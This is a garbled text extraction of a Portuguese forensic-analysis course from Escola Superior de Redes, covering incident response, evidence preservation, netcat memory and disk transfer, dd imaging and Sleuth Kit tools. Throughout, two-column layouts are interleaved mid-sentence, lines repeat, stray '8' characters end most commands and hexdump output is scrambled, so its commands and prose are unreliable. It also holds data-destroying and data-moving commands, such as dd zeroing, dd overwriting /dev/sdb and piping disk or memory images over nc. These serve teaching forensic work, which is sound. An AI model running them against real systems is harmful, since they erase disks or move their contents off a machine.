Escolar Documentos
Profissional Documentos
Cultura Documentos
Escola Superior de Redes - Análise Forense
Escola Superior de Redes - Análise Forense
Análise forense
Análise forense
Escola Superior de Redes RNP
Autor
Guilherme Venere
Revisor
Pierre Lavelle
Supervisão técnica
Jacomo Piccolini
Coordenação acadêmica
Derlinéa Miranda
Revisão final
Pedro Sangirardi
Design
Tecnodesign
Coordenação geral
Luiz Coelho
Versão
2.0.2
Conhecimentos prévios
Objetivos
Sessão de aprendizagem 2
Ambiente e ferramentas de análise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Sessão de aprendizagem 3
Ambiente e ferramentas de análise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43
Sessão de aprendizagem 4
Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Sessão de aprendizagem 5
Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
Sessão de aprendizagem 6
Recuperação e análise de evidências (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99
Sessão de aprendizagem 7
Linha de tempo e reconstrução do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115
Sessão de aprendizagem 8
Análise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Sessão de aprendizagem 9
Análise forense avançada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
Sessão de aprendizagem 10
Análise forense avançada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155
Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Escola Superior de Redes RNP
1
Sessão de aprendizagem 1
Princípios de análise forense
Sumário da sessão
Detecção de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Princípios
p de análise forense
Princípios de análise forense
Por este mesmo motivo é bom sempre realizar análises dos dados em cópias,
mantendo os originais seguros contra modificações e permitindo que seus passos
sejam repetidos posteriormente.
Motivações
ç ppara investigar
g um incidente
Motivações para investigar um incidente
Modo de ação
ç dos atacantes
Modo de ação dos atacantes
Hoje em dia, sistemas comprometidos têm um alto valor de troca no submundo da inter-
net. Ferramentas de negação de serviço podem ser instaladas em diversos sistemas
comprometidos, e o poder somado desses sistemas pode ser trocado no submundo
por informação ou mesmo por dinheiro. Como podemos ver, a invasão de sistemas não
é só uma diversão para alguns invasores, podendo ser um negócio bem rentável.
Detecção
ç de ataques
q
Detecção de ataques
Padrão
P d ã para d detectar
t t mais i ffacilmente
il t um ataque
t :
Monitoramento da rede
Detecção de assinaturas de ataques e modificações
no sistema
Utilização de ferramentas de auditoria
Principalmente conhecimento de seus sistemas e de
Principalmente,
sua rede
Tipos
p de sistemas comprometidos
p
Tipos de sistemas comprometidos
Esterilizar as mídias significa eliminar quaisquer dados que possam existir nos discos
e dispositivos utilizados para gravar suas evidências. Normalmente, basta executar
um procedimento de gravação de zeros (byte 00) em todos estes dispositivos,
sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidência.
Evidências voláteis são aquelas que se perdem mais facilmente, caso o sistema
seja desligado ou ações executadas pelo hacker ou pelo analista sobrescrevam
informações. Exemplos: dados na memória RAM, processos em execução, cone-
xões estabelecidas, entre outros.
Metodologia
g ppara análise forense
Metodologia para análise forense
O passo seguinte é analisar esses arquivos e dados para identificar sua relação
com o caso, funcionalidades e informações importantes que possam conter.
Finalmente, quando já tiver sido realizada uma análise o mais completa possível,
deve-se gerar um relatório com os resultados encontrados e técnicas utilizadas,
e uma conclusão para o caso alcançada, com base nas evidências coletadas
durante a investigação.
Conclusões
Conclusões
Tópicos e conceitos
\\90-120 minutos
18
Escola Superior de Redes RNP
1. Este exercício deve ser feito em dupla. Suponha que em sua empresa
existe um servidor web considerado crítico, que hospeda todo o sistema
de gerenciamento de projetos da empresa e não pode ficar parado. Um
backup diário dos dados é realizado constantemente. Deve-se supor que
os integrantes da dupla fazem parte da comissão que está definindo os
procedimentos a adotar quando ocorrer um incidente de segurança
envolvendo a máquina do servidor. Pensando em todas as implicações
destas ações, defina o que deve ser feito no caso de:
Discuta com seu parceiro os procedimentos e monte um checklist das ações que
devem ser tomadas. Procure ser o mais objetivo possível, de modo que uma pes-
soa que siga o checklist não precise tomar nenhuma decisão. Pense que em um
momento de crise, a pessoa referida não pode perder tempo tomando decisões.
Sumário da sessão
Pré-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Programas específicos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Preparação da investigação. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Preparação do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Preservação do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Pré-requisitos
Pré-requisitos
Hardware
Hardware
Sistema operacional
Sistema operacional
Sistema operacional
Além disso, o sistema operacional precisa ser seguro
o suficiente para não ser comprometido com alguma
Durante o curso, usaremos o Linux, por causa de
algumas características deste sistema: ferramenta investigada. Imagine se o investigador está
Não é necessário adquirir licenças para uso analisando um arquivo desconhecido e sua estação
Existe uma gama completa de ferramentas de análise forense de uso
livre forense é comprometida por este arquivo?
Capacidade de acessar qualquer tipo de sistema de arquivos ou
partições a partir de configuração no kernel
Capacidade de acessar diversos tipos de dispositivos (USB, discos Além disso, existem outras vantagens no uso do
etc)
Linux, como o sistema da estação forense e das
Firewall embutido no kernel e possibilidade de utilizar diversas
modificações no kernel para aumentar a segurança da máquina ferramentas. O sistema permite a criação de CDs
Disponibilidade de diversas distribuições prontas para análise
forense, facilitando o trabalho de reunir diferentes ferramentas
inicializáveis que rodam em praticamente qualquer
configuração de hardware sem a necessidade de
instalação de drivers; rodam com pouca memória
e contam com diversos mecanismos de segurança
embutidos no próprio sistema.
Sistema operacional
Existem diversas opções para resolver o problema
Apesar disso, existem limitações na utilização do
sistema Linux. de análise de binários de outros sistemas operacio-
Se for necessário analisar algum executável para nais. No caso do Windows, em alguns casos é possí-
Windows, precisaremos de uma maneira de emular o vel executar o binário com emuladores por software
Windows. A melhor opção é utilizar o VMWare ou
outro sistema de emulação, como o Wine. como o Wine, ou utilizar o próprio VMWare com um
Apesar da escolha pelo Linux, existem ótimas sistema Windows rodando na máquina virtual.
ferramentas de análise forense para Windows, tal
como o software EnCase. Além disso, dependendo do tipo de análise que vai
ser feita, existem debuggers para Linux que têm
suporte a diversos formatos de binários e processa-
dores, como por exemplo o IDA-Pro.
Live CD
Live CD
Além das ferramentas que serão discutidas durante o curso, existem muitas
outras presentes no CD que o aluno poderá utilizar, incluindo interfaces gráficas
para algumas das ferramentas discutidas. No curso, examinaremos as ferramen-
tas de comando de linha que permitem trabalhar em um nível mais baixo de opera-
ção, e entender o real funcionamento de cada uma.
Hardware forense
Duplicadores de HDs
e equipamentos para
bloqueio de escrita em
mídias digitais
Redes Wi-Fi
Celulares
Celulares
Pacote forense
Pacote forense
Helix
Helix
The Coroner's Toolkit
Flag-Knoppix Este software oferece aos profissionais da área
SMART Linux a possibilidade de executar vários processos de
análise forense computacional. Suporta diversos
Comerciais sistemas operacionais. Pode ser executado através
FTK Forensic Toolkit de um sistema operacional ou antes do início do
EnCase sistema operacional. Suas principais características
são:
Helix
\\Visualização de registros;
\\O FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;
\\Suporta vários sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux
Ext2 e Ext3;
\\É suportado por vários clientes de e-mail, como o Outlook, Outlook Express,
Yahoo, Hotmail etc.
EnCase Forensics
\\Investigação reativa;
EnCase Forensics
\\Provas não repudiáveis;
\\Automatização de pesquisas;
\\Investigação pró-ativa;
\\Documentação de incidentes;
\\Discrição;
NetWitness
Net Witness
Programas específicos
Software para
reconhecimento visual
de imagens
Preparação da investigação
Preparação da investigação
Preparação do ambiente
Preparação do ambiente
# fdisk -l8
Inicialmente, preparemos o ambiente que vamos
utilizar durante o atendimento ao incidente: Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
# fdisk –l
Disk /dev/sda: 8589 MB, 8589934592 bytes Units = cylinders of 16065 * 512 = 8225280 bytes
255 heads, 63 sectors/track, 1044 cylinders Device Boot Start End Blocks Id System
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda2 33 64 257040 83 Linux
/dev/sda2 33 64 257040 83 Linux
/dev/sda3 65 1044 7871850 5 Extended /dev/sda3 65 1044 7871850 5 Extended
/dev/sda5 65 1044 7871818+ 83 Linux
# mkdir /data
/dev/sda5 65 1044 7871818+ 83 Linux
# mount /dev/sda5 /data
# mkdir /data8
O comando netcat (nc) é muito importante para o analista forense. Ele permite criar
conexões de rede TCP ou UDP com outras máquinas, além de criar listeners, permitindo
simular a existência de um serviço, ou, como no exemplo, permitir a cópia de arquivos
pela rede sem utilização de software específico para isso. O instrutor deve tomar algum
tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado.
Com isso, a saída do comando memdump vai ser transmitida pela rede (neste
caso, localmente, mas normalmente através da rede física) para o arquivo especi-
ficado no primeiro redirecionamento. É possível redirecionar para uma conexão de
rede, e coletar remotamente o arquivo em nossa estação forense:
Na estação forense:
Preparação do ambiente
# nc -l -p 4000 > /data/phys_memory.img8
Passos importantes durante o atendimento a um incidente:
Manter um registro preciso de todas as ações executadas, registrando Na máquina suspeita:
todos os comandos executados, com os respectivos tempos de
execução. # memdump | nc 127.0.0.1 40008
Descobrir se as informações de tempo disponíveis em suas evidências
são coerentes.
Durante a fase de análise das evidências, o inves-
O timezone de logs e da máquina é um dado muito importante.
Por isso, após recuperar a memória da máquina, é importantetigador vai precisar correlacionar as evidências
descobrir essas informações:
# date encontradas na máquina invadida com evidências
Sun Jan 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc.
# uptime
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18 O sincronismo de tempo e a coerência entre os time-
zones dessas evidências é importante para garantir
a validade das conclusões encontradas através das
evidências. Por isso é importante descobrir essa informação o quanto antes,
durante o atendimento inicial do incidente.
Este passo normalmente é o primeiro a ser realizado, mas como tentamos evitar
ao máximo o comprometimento de evidências, executamos estes comandos
somente após a coleta da memória, pois a execução destes comandos poderia
sobrescrever alguma evidência em memória.
# date8
Sun Jan 6 01:34:46 MST 2008
# uptime8
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18
# lsof –l8
Lista todos os arquivos abertos. A saída pode ser grande, por isso use algum tipo
de controle de saída. Use os comandos more ou less, por exemplo, ou redirecione
a saída através do netcat.
# lsof -i8
Lista todos os arquivos de rede abertos. Com isso é possível descobrir os programas
que estão mantendo conexões abertas. Tem a mesma função do comando netstat –nap.
Este comando mostra todos os processos que mantêm # lsof -l | grep LISTEN8
um socket Unix aberto: Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN)
# lsof -U sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN)
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524
/var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Este comando mostra todos os processos que
mantêm um socket Unix aberto. Pode ser importante
para descobrir processos escondidos que estão
mantendo conexões abertas e pipes que podem indi-
car a presença de trojans e rootkits.
# lsof -U8
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524 /var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Como podemos ver, para cada processo existem diversas informações disponíveis.
Alguns destes arquivos contêm dados importantes sobre o processo em execução.
# ls -l /proc/2877/cwd8
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data
# cat /proc/2877/cmdline8
-bash
# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb
in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root
SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100
# ps ax | grep sshd8
2792 ? Ss 0:00 /usr/sbin/sshd
2872 ? Ss 0:07 sshd: root@pts/2,pts/3
Preservação do disco
Preservação do disco
Após a coleta de informações mais voláteis, é preciso Agora que já coletamos as informações mais voláteis,
salvar as evidências menos voláteis podemos nos preocupar em salvar as evidências
A coleta deste tipo de evidência é importante, pois será menos voláteis. Precisamos coletar uma cópia de
através dos dados armazenados nos discos que
poderemos identificar processos executados pelo hacker, quaisquer dispositivos de armazenagem conectados
como instalação de ferramentas e modificação de arquivos ao equipamento.
Há diversas metodologias e ferramentas disponíveis para
coletar uma cópia dos discos:
Equipamentos específicos para cópia de discos A coleta deste tipo de evidência é importante, pois
Ferramentas para cópia disco a disco será através dos dados armazenados nos discos que
Criação de uma “imagem de disco bit a bit” (mais comum) poderemos identificar processos executados pelo
hacker, instalação de ferramentas, modificação de
arquivos, enfim, poderemos criar uma linha do tempo
das atividades da máquina.
Para coletar uma cópia dos discos, existem diversas metodologias e ferramentas dis-
poníveis, tais como equipamentos específicos para cópia de discos, ferramentas para
cópia disco a disco, e o mais comum, a criação de uma “imagem de disco bit a bit”.
Uma imagem “bit a bit” é uma cópia fiel do conteúdo do dispositivo de armazenagem,
garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.
Como não temos um dispositivo que possa ser zerado, é importante notar
que não executaremos esse comando com um dispositivo. A execução desse
comando pode ser feita em um arquivo comum, por exemplo, copiando um
arquivo qualquer do diretório /data e executando os comandos abaixo:
# strings –a <arquivo.dat>8
# strings –a <arquivo.dat>8
Este comando copia 4 MB de zeros sobre o conteúdo do arquivo. Caso não seja
especificado o tamanho, o DD continuaria copiando zeros até preencher o disco.
No exemplo, mostramos que o conteúdo que existia no arquivo foi zerado (com os
dois comandos strings, antes e depois do DD).
Assim deve ser feito sucessivamente para todas as partições existentes no disco.
Este método é ideal para copiar uma partição hospedada em dispositivos RAID.
No caso de ser necessário copiar todo o disco, a única modificação a ser feita no
comando é especificar o dispositivo completo no parâmetro if=<dev>.
Uma ferramenta do pacote forense Sleuth Kit pode ser útil para identificar a estrutura
do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000062 0000000062 Unallocated
02: 00:00 0000000063 0000514079 0000514017 Linux Swap (0x82)
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated
# cat dev_sda2_root.sha18
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
Adepto
# /usr/local/bin/adepto.sh8
Conclusões
Conclusões
Tópicos e conceitos
\\90 minutos
42
Escola Superior de Redes RNP
Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
strings
O último exemplo mostra como utilizar o comando grep para encontrar mensa-
gens a partir de uma expressão regular. Isto torna o grep muito poderoso para
encontrar evidências.
# sha1deep -r -m /data/badfiles_hashs.sha1 /8
\\O primeiro comando do exemplo cria uma lista de hashs dos arquivos do
sistema;
\\O segundo comando compara essa lista com os arquivos do sistema para
detectar mudanças;
find
Procura no sistema por arquivos que casem com os
Procura no sistema por arquivos que casem com os padrões especificados a partir de algumas restrições
padrões especificados a partir de algumas restrições de de busca. Deve ser utilizado com cuidado, pois modi-
busca. Deve ser utilizado com cuidado, pois modifica as fica as datas de acesso dos arquivos pesquisados.
datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash
version" {} \; # find /bin/ -type f -exec grep -H “Bash version” {}
# find /dev –not –type b –and –not –type c \;8
# find /data -name ".[. ]*"
# find / -perm +02000 –or –perm +04000 # find /dev –not –type b –and –not –type c8
file
Software básico de rede
Tenta identificar o tipo de um arquivo a partir de
file
Tenta identificar o tipo de um arquivo a partir de um banco de um banco de assinaturas de arquivos conhecidos.
assinaturas de arquivos conhecidos. Algumas vezes é Algumas vezes é importante saber o tipo de um
importante saber o tipo de um arquivo suspeito.
arquivo suspeito.
# file /etc/passwd
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png # file /etc/passwd8
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
/etc/passwd: ASCII text
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, # file /usr/share/icons/helix.png8
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
/usr/share/icons/helix.png: PNG image data, 32 x
linked (uses shared libs), stripped.
32, 8-bit/color RGBA, non-interlaced
# file /bin/bash8
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.
Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente,
as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso é que
quando um invasor quiser comprometer os executáveis do sistema, basta que substitua
as bibliotecas utilizadas por estes programas. Com isso, o hash criptográfico dos arquivos
executáveis não mudaria, mas eles não seriam mais confiáveis.
A segunda coisa importante mostrada pelo comando acima é que o arquivo /bin/
bash teve as informações de debug removidas (stripped). Normalmente, isto é
feito para diminuir o tamanho dos arquivos, mas também dificulta em descobrir a
utilidade de um programa, se não temos estas informações. Encontrar um arquivo
suspeito que não tenha as informações de debug removidas é importante e pode
auxiliar bastante o investigador.
dd
Software básico de rede
Comando utilizado para copiar dados binários, que
dd
Comando utilizado para copiar dados binários, que podem ser arquivos ou mesmo dispositivos físicos.
podem ser arquivos ou mesmo dispositivos físicos. Usado principalmente para realizar cópias fiéis de disco.
Usado principalmente para realizar cópias fiéis de
disco. # dd if=/dev/sda of=/dev/sdb8
netstat
Software básico de rede
Com este comando pode-se descobrir rapidamente
netstat
Com este comando pode-se descobrir rapidamente a a existência de portas de rede abertas na máquina,
existência de portas de rede abertas na máquina ou ou as conexões atualmente estabelecidas. É possível
conexões atualmente estabelecidas. também descobrir a existência de rotas estáticas
É possível também descobrir a existência de rotas inseridas manualmente. Exemplo:
estáticas inseridas manualmente. Exemplo:
# netstat –nap8
# netstat –nap
# netstat –nr # netstat –nr8
# netstat -nlp
# netstat -nlp8
lsof
Software básico de rede
Importante ferramenta de coleta de evidências, uti-
lsof
Importante ferramenta de coleta de evidências, lizada para listar todos os arquivos abertos. Em um
utilizada para listar todos os arquivos abertos. sistema operacional, qualquer recurso mantém um
Em um sistema operacional, qualquer recurso mantém arquivo aberto. Conexões de rede, bibliotecas aber-
um arquivo aberto. tas, programas em execução, tudo vai ser listado
Conexões de rede, bibliotecas abertas, programas em
execução, tudo vai ser listado pelo lsof. pelo lsof. Exemplo:
# lsof –i # lsof –i8
# lsof –U
# lsof –l | grep LISTEN # lsof –U8
nc
Software básico de rede
A função desta ferramenta é criar uma conexão
nc
Cria uma conexão de rede com outro computador, ou de rede com outro computador, ou então criar
então cria um listener em uma determinada porta. um listener em uma determinada porta. Com esta
Possibilita que o investigador copie arquivos e dados ferramenta, o investigador poderá copiar arquivos
de um computador para outro, não sendo necessário e dados de um computador para outro, não sendo
gravar nada no disco da máquina comprometida,
preservando evidências. necessário gravar nada no disco da máquina com-
prometida, preservando evidências. Exemplo:
# nc –l –p 9999 > /data/disco1.img.gz
# dd if=/dev/sda1 | gzip -9 –c | nc –p
# nc –l –p 9999 > /data/disco1.img.gz8
9999 <ip_da_estacao_forense>
# dd if=/dev/sda1 | gzip -9 –c | nc –p 9999 <ip_da_
estacao_forense>8
Ethereal
Software básico de rede
Esta ferramenta funciona como monitor de rede. Ela
Ethereal
Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o tráfego de rede que chega
serve para capturar todo o tráfego de rede que chega à interface monitorada. Normalmente o investigador vai
à interface monitorada. Exemplo: utilizar esta ferramenta para monitorar a atividade de
# ethereal -i eth0 -n -k -s 65535 -f "dst rede entrando e saindo da máquina comprometida, a
net 192.168.0.0/16"
partir da estação forense. Esta pode ser a primeira indi-
# ethereal –i eth0 –w /data/capture.log –k
–f "dst net 192.168.0.0/16 and port 22" cação de que a máquina está comprometida. Exemplo:
# ethereal –r /data/capture.log –n -f "src
net 192.168.0.0/16" # ethereal -i eth0 -n -k -s 65535 -f “dst net
192.168.0.0/16”8
hexdump
hexdump
Permite a visualização de arquivos binários em um formato
hexadecimal. Algumas vezes pode ser interessante visualizar um
# hexdump -b /data/partition_table.img arquivo binário em seu formato original, isto é, sem
# hexdump -d /data/partition_table.img
# hexdump
00000000
-C
00
/data/partition_table.img
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
transfomá-lo em texto puro. Para visualizar arquivos
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
binários em um formato hexadecimal, podemos uti-
000001c0
000001d0
01
01
00
20
82
83
fe
fe
3f
3f
1f
3f
3f
20
00
d8
00
07
00
00
e1
20
d7
d8
07
07
00
00
00
00
00
00
|....?.?.........|
|. ..?? ... .....|
lizar a ferramenta hexdump. Este comando permite
000001e0
000001f0
01
00
40
00
05
00
fe
00
ff
00
ff
00
40
00
b0
00
0f
00
00
00
d4
00
3a
00
f0
00
00
00
00
55
00
aa
|.@....@....:....|
|..............U.|
mostrar o conteúdo de um arquivo binário em diver-
sos formatos, especificados pelo usuário.
Exemplo:
# hexdump -b /data/partition_table.img8
# hexdump -d /data/partition_table.img8
# hexdump -C /data/partition_table.img8
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
000001c0 01 00 82 fe 3f 1f 3f 00 00 00 e1 d7 07 00 00 00 |....?.?.........|
000001d0 01 20 83 fe 3f 3f 20 d8 07 00 20 d8 07 00 00 00 |. ..?? ... .....|
000001e0 01 40 05 fe ff ff 40 b0 0f 00 d4 3a f0 00 00 00 |.@....@....:....|
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
lsattr/chattr
Informações sobre executáveis
Além das permissões de acesso normais do arquivo
lsattr/chattr
Além das permissões de acesso normais do arquivo (leitura, escrita e execução), existem permissões
(leitura, escrita e execução), existem permissões extras no sistema de arquivos que permitem controlar
extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos
o acesso aos arquivos.
extendidos podem ser modificados ou verificados
# rm -f /data/bla com os comandos lsattr e chattr: append only (a),
rm: cannot remove `/data/bla': Operation not permitted
# lsattr /data/bla compressed (c), no dump (d), immutable (i), data
----i------------ /data/bla journalling (j), secure deletion (s), no tail-merging (t),
# chattr -i +u /data/bla
undeletable (u), no atime updates (A), synchronous
directory updates (D), synchronous updates (S), top
of directory hierarchy (T). Normalmente o atributo
mais utilizado pelos invasores para proteger seus
arquivos é o immutable.
Com este atributo, um arquivo não pode ser apagado nem modificado por nenhum
usuário do sistema. Exemplo:
# rm -f /data/bla8
rm: cannot remove `/data/bla’: Operation not permitted
# lsattr /data/bla8
----i------------ /data/bla
# chattr -i +u /data/bla8
Como vimos no exemplo, um arquivo com o atributo immutable não pode ser
removido nem mesmo pelo super usuário. O comando lsattr pode ser utilizado
para listar os atributos extendidos dos arquivos, e o comando chattr pode ser
utilizado para adicionar ou remover atributos extendidos.
strace
Informações sobre executáveis
Permite executar um processo e acompanhar toda
strace
Permite executar um processo e acompanhar toda a a atividade executada pelo mesmo, como todos os
atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sis-
acessos ao sistema de arquivo, chamados de sistema, tema, leitura e escrita em filehandles, abertura e uti-
leitura e escrita em filehandles, abertura e utilização
de sockets de rede. lização de sockets de rede. Pode ser muito útil caso
o investigador encontre um processo em execução e
# strace -f -F -i -t -x -p `pidof Xorg`
queira descobrir mais informações sobre o mesmo,
# strace -f -F /usr/sbin/sshd
ou então se encontrar um binário desconhecido
numa máquina e quiser executá-lo em um ambiente
controlado para saber a sua função. Exemplo:
# strace -f -F /usr/sbin/sshd8
Esta é uma facilidade do shell que permite executar o comando dentro das aspas
invertidas, pegar a saída deste comando, e substituí-la na linha de comando no
lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate
com o nome passado como parâmetro.
readelf
Informações sobre executáveis
Este comando é útil na análise de binários desconhe-
readelf
Este comando é útil na análise de binários cidos. Ele permite listar uma série de informações
desconhecidos. Ele permite listar uma série de importantes sobre a estrutura do executável, facili-
informações importantes sobre a estrutura do tando assim um possível trabalho de análise desse
executável, facilitando assim um possível trabalho de
análise desse binário. binário.
# readelf -h /data/bla8
# readelf -h /data/bla
# readelf -S /data/bla
# readelf -S /data/bla8
# readelf -l /data/bla
# readelf -e /data/bla # readelf -l /data/bla8
# readelf -e /data/bla8
ldd/nm/objdump
# nm /bin/ntfs-3g8
ldd/nm/objdump
Estas três ferramentas podem ser utilizadas em uma análise # objdump -x /bin/ntfs-3g8
mais avançada de um binário desconhecido.
Elas permitem descobrir informações importantes sobre a # objdump -D /bin/ntfs-3g8
estrutura, funções e dependências de um executável:
# objdump -S /bin/ntfs-3g8
# ldd /bin/ntfs-3g
# nm /bin/ntfs-3g
# objdump -x /bin/ntfs-3g O primeiro comando exemplificado permite listar de
# objdump -D /bin/ntfs-3g quais bibliotecas o programa em questão depende.
# objdump -S /bin/ntfs-3g Este comando pode ser útil para descobrir versões
modificadas de binários que possam apontar para
bibliotecas em locais externos ao padrão do sistema.
Por que utilizar um pacote forense de ferramentas? Tipos de ferramentas do pacote forense:
Facilitam o trabalho de analisar e extrair evidências de \\Ferramentas do Nível de Sistema de Arquivos –
imagens de disco.
Permitem recuperar arquivos removidos.
Estas ferramentas processam dados gerais sobre
São flexíveis, permitindo a análise de sistemas de o sistema de arquivos, tal como o layout de
arquivos diferentes. disco, estruturas de alocação e boot blocks.
A quantidade de dados é muito grande, então
ferramentas específicas tornam o trabalho mais fácil. \\Ferramentas do Nível de Nomes de Arquivos
– Estas ferramentas processam estruturas de
nomes de arquivos e de diretórios.
Journal Inode: 8
METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 64512
Root Directory: 2
Free Inodes: 51833
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 257039
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 50885
fls
Ferramentas do nível de nomes de
arquivos
fls Lista nomes de arquivos alocados ou apagados em
Lista nomes de arquivos alocados ou apagados em um diretório.
um diretório.
# fls -a –r –d -f linux-ext2 # fls -a –r –d -f linux-ext2 /data/dev_sda2_root.img8
/data/dev_sda2_root.img
d/- * 0: KNOPPIX/usr d/- * 0: KNOPPIX/usr
r/r * 4317: usr/NX/bin/nxclient r/r * 4317: usr/NX/bin/nxclient
istat istat
Mostra estatísticas e detalhes sobre um determinado # istat -f linux-ext2 /data/dev_sda2_root.img 43178
inode.
icat
Ferramentas do nível de metadados
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat8
icat
Extrai uma unidade de dados de um disco, a partir do
endereço do metadado que aponta para este bloco. O icat é a ferramenta utilizada para recuperar arquivos
